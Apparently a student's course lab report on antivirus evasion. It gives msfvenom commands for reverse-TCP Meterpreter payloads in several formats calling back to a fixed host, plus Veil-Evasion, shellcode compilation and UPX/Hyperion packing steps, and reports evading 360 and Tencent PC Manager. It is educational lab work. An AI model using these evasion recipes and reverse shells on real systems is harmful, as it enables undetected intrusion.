1. 程式人生 > >20165214 2018-2019-2 《網絡對抗技術》Exp3 免殺原理與實踐 Week5

20165214 2018-2019-2 《網絡對抗技術》Exp3 免殺原理與實踐 Week5

實現 進行 中間 信息 失敗 中一 網絡安全 需要 識別

《網絡對抗技術》Exp3 免殺原理與實踐 Week5

一、實驗內容

  • 1、正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,加殼工具,使用shellcode編程;

  • 2、通過組合應用各種技術實現惡意代碼免殺;

  • 3、用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本;

二、實驗步驟

步驟一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,加殼工具,使用shellcode編程;

msf嘗試

  • 1、在命令行輸入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf.exe

    ,生成5214msf.exe。將5214msf.exe上傳到Virus Total進行檢測,檢測結果如下,有50個殺軟檢測出來了。
    技術分享圖片

  • 2、上面是只進行一次編碼,接下來編碼十次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf-10.exe。再把它上傳到VirusTotal,檢測結果如下:
    技術分享圖片

可以看到還是有48個殺軟檢測出來了,編碼多次和編碼一次的免殺效果差別不大。因為我們使用的是同樣的模板,殺軟只要針對這個模板有所防備就行了,

使用msf生成其他格式的文件(參考博客Metasploit之多種後門生成)

  • 1、生成jar:msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 W >5214msf-java.jar,檢測結果:
    技術分享圖片

  • 2、生成php:msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f raw >5214msf-php.php,檢測結果:
    技術分享圖片

  • 3、生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.20.10.3 LPORT=5214 R >5214msf-jsp.jsp

    ,檢測結果:
    技術分享圖片

veil-evasion的嘗試

  • 1、安裝Veil-Evasion。
    • 參考同學的博客,先執行
    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • 安裝Veil-Evasion:sudo apt-get install veil-evasion
    • 輸入veil打開veil,第一次打開時需要進行安裝
      這應該是這個實驗最最最最花時間的部分了。。和各位同學遇到的問題一樣,我也是各種卡,卡%16,%25,%91等等等等。但是我一直等了下去,等了4、5個小時,之間經歷了斷網重來,中間還又裝了和Python相關的3、4個軟件,令人絕望。後來終於下好了!輸入veil後出現界面:
      技術分享圖片
  • 2、打開veil後,先輸入use evasion進入evasion界面。
    技術分享圖片

  • 3、生成後門程序
    • 輸入use c/meterpreter/rev_tcp.py
      技術分享圖片

    • 輸入set LHOST 172.20.10.3設置回連地址(這裏的IP地址是kali虛擬機的ip地址)
    • 輸入set LPORT 5214設置回連端口
    • 輸入generate生成文件
    • 最後輸入你想要給後門程序起的名字,這裏我輸入的是5214-veil。成功生成文件:
      技術分享圖片
      文件默認在/var/lib/veil/output/compiled/5214-veil1.exe

  • 4、使用VirusTotal進行檢測,發現還是有37個殺軟能夠檢測出來:
    技術分享圖片

使用shellcode編程

  • 1、在命令行中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f c來生成C語言格式的ShellCode數組。
    技術分享圖片

  • 2、創建5214-shell.c創建.c文件,輸入下圖中的代碼,其中buf數組中的值就是上面生成的。
    技術分享圖片

  • 3、輸入i686-w64-mingw32-g++ 5214-shell.c -o 5214-shell.exe進行編譯。將得到的5214-shell.exe先使用VirusTotal進行檢測,結果如下:
    技術分享圖片

  • 4、打開msfconsole,再在本機上打開5214-shell.exe,此時發現無法連接(但是在下面加殼過後就可以連接上了)

  • 5、結合使用不同編碼器:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=172.20.10.3 LPORT=5214 -f c
    技術分享圖片

  • 6、創建5214-shell-extend.c創建.c文件,輸入下圖中的代碼,其中buf數組中的值就是上面生成的(buf太長,省略一部分)。
    技術分享圖片

  • 7、輸入i686-w64-mingw32-g++ 5214-shell-extend.c -o 5214-shell-extend.exe進行編譯。將得到的5214-shell-extend.exe先使用VirusTotal進行檢測,結果如下:
    技術分享圖片

加殼工具

加殼是對相應的資源進行壓縮,壓縮後仍可運行。它可以用來保護版權,但同時許多病毒也利用它來作為原理。接下來將使用壓縮殼和保密殼來進行試驗。

  • 1、壓縮殼(UPX)
    • 輸入upx 5214-shell.exe -o UPX5214-shell.exe進行加殼
      技術分享圖片

    • 加殼後進行檢測,如下:
      技術分享圖片

    • 嘗試進行回連,成功:
      技術分享圖片

  • 2、加密殼Hyperion
    • 考慮到下一步就是組合技術實現免殺,所以我就直接把加壓縮殼後的文件直接再加加密殼。

    • 將UPX5214-shell.exe復制到/usr/share/windows-binaries/hyperion/

    • 在目錄/usr/share/windows-binaries/hyperion/下輸入wine hyperion.exe -v UPX5214-shell.exe HyperionUPX5214-shell.exe再次進行加殼:
      技術分享圖片

    • 進行免殺檢測:
      技術分享圖片

    • 嘗試進行回連:
      技術分享圖片

步驟二:通過組合應用各種技術實現惡意代碼免殺;

  • 開啟360,把在步驟一中最終生成的hyUPX5214-shell.exe放到本機中,發現沒有被查殺:
    技術分享圖片

步驟三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本;

  • 把文件發到同學的電腦上(裝有騰訊管家13.0.19837.233),沒有被殺掉。
    技術分享圖片

  • 在我的kali上打開msfconsole,然後在同學的電腦上運行後門程序,成功連上
    技術分享圖片

三、遇到的問題

  • 1、在使用msf生成的shellcode編譯成文件來嘗試進行回連時失敗了,但是加殼後回連就成功了。現在還沒有發現其原因。

  • 2、老師的指導書中一些說殺軟殺不出來的地方,結果殺軟都殺掉了。。。這是不是也說明了殺毒軟件也是在不停發展的?我們實驗所用的處理軟件都是比較常用的,加上我們的步驟都是比較簡單的,很容易成為殺軟的識別對象。

四、基礎問題問答

  • 1、殺軟是如何檢測出惡意代碼的?
  • 答:基於特征碼的檢測:簡單來說一段特征碼就是一段或多段數據。如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
    啟發式惡意軟件檢測:對惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件幹的事,看起來了像個惡意軟件,就把它當成一個惡意軟件進行檢查。典型的行為如連接惡意網站、開放端口、修改系統文件,典型的“外觀”如文件本身簽名、結構、廠商等信息等。
    基於行為的惡意軟件檢測:基於行為的檢測相當於是啟發式的一種,或者是加入了行為監控的啟發式

  • 2、免殺是做什麽?
  • 答:免殺就是讓安插的後門不被AV軟件發現

  • 3、免殺的基本方法有哪些?
  • 答:
  • 改變特征碼
    • 如果你手裏只有EXE
      • 加殼:壓縮殼 加密殼
    • 有shellcode(像Meterpreter)
      • 用encode進行編碼
      • 基於payload重新編譯生成可執行文件
    • 有源代碼
      • 用其他語言進行重寫再編譯(veil-evasion)
  • 改變行為
    • 通訊方式
      • 盡量使用反彈式連接
      • 使用隧道技術
      • 加密通訊數據
    • 操作模式
      • 基於內存操作
      • 減少對系統的修改
      • 加入混淆作用的正常功能代碼
  • 4、開啟殺軟能絕對防止電腦中惡意代碼嗎?
  • 答:從實驗中就可以知道不可以。

五、心得體會

這次實驗讓我知道了有很多殺毒軟件其實是不管用的,一些簡單的操作就能夠迷惑他們。但是,殺毒軟件也是不斷地在更新的,以前學長學姐們可以正常存留下來的程序,我在做的時候就都被殺軟發現了。感覺實驗還是很有趣的,畢竟和現實練習是很密切的。這次實驗讓我感受到了免殺的強大力量,也讓我感受到了自己的能力有限。今後應加強學習,不斷提高自己的網絡安全能力。

20165214 2018-2019-2 《網絡對抗技術》Exp3 免殺原理與實踐 Week5